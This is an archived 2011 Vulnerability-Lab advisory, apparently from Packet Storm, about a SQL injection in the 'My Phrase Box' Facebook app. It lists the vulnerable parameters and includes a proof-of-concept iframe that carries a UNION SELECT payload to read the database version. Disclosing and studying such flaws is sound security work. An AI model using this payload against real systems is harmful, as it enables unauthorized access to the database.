what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Facebook My Phrase Box SQL Injection

Facebook My Phrase Box SQL Injection
Posted Oct 30, 2011
Authored by Chokri Ben Achor, Vulnerability Laboratory | Site vulnerability-lab.com

The Facebook My Phrase Box application suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | d755674e1fdd428f6060a5e57d5858cd95626ae2eea709e22cb5bc82d4660655

Facebook My Phrase Box SQL Injection

Change Mirror Download
Title:
======
Facebook My Phrase Box - SQL Injection Vulnerability


Date:
=====
2011-10-16



VL-ID:
=====
288


Introduction:
=============
The application is currently included and viewable by all facebook users.
The service is an external 3rd party application sponsored by the My Phrase Box.

(Copy from the Vendors Homepage: http://apps.facebook.com/my_phr_box/share.php)

Facebook is a social networking service and website launched in February 2004, operated and privately owned
by Facebook, Inc. As of July 2011, Facebook has more than 750 million active users. Users may create
a personal profile, add other users as friends, and exchange messages, including automatic notifications when
they update their profile. Facebook users must register before using the site. Additionally, users may join
common-interest user groups, organized by workplace, school or college, or other characteristics.

(Copy of the Vendor Website: http://en.wikipedia.org/wiki/Facebook)


Abstract:
=========
Vulnerability-Lab researcher discovered a remote SQL Injection vulnerability on the 3rd party web application - My Phrase Box (apps.facebook.com).


Report-Timeline:
================
2011-09-01: Vendor Notification
2011-09-07: Vendor Response/Feedback
2011-**-**: Vendor Fix/Patch
2011-10-16: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================

Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A SQL Injection vulnerability is detected on the My Phrase Box facebook application (apps.facebook).
The vulnerability allows an attacker (remote) to inject/execute own sql statements on the affected fb application dbms.
Successful exploitation of the vulnerability can result in compromise of the affected application dbms.


Vulnerable Module(s):
[+] My Phrase Box - Facebook 3rd Party Application

Vulnerable Param(s):
[+] ?show_dialog= & app_id=

Affected Application(s):
[+] http://apps.facebook.com/my_phr_box/


--- SQL Logs ---
5.1.54-1ubuntu4-log: 11
---

Pictures:
../1.png


Proof of Concept:
=================
The vulnerability can be exploited be remote attackers. For demonstration or reproduce ...

URL: apps.facebook.com/my_phr_box/
Path: /my_phr_box/
File: app.php
Param: ?show_dialog= & app_id=


Example:
http://[APP-SERVER]/[SERVICE-APP]/[FILE].[PHP]?show_dialog=[x]&app_id= [x]


PoC:
<html><head><body>
<title>MPB SQL Injection PoC</title>
<iframe src=http://apps.facebook.com/my_phr_box/app.php
?show_dialog=1&app_id=-17+union+select+1,2,3,4,5,6,7,8,9,10,11,version%28%29,13,14,15,16-- width="800" height="800"
</body></head>
</html>


Risk:
=====
The security risk of the application sql injection vulnerability is estimated as high(+).


Credits:
========
Vulnerability Research Laboratory - Chokri B.A. (Me!ster)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2011|Vulnerability-Lab




--
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close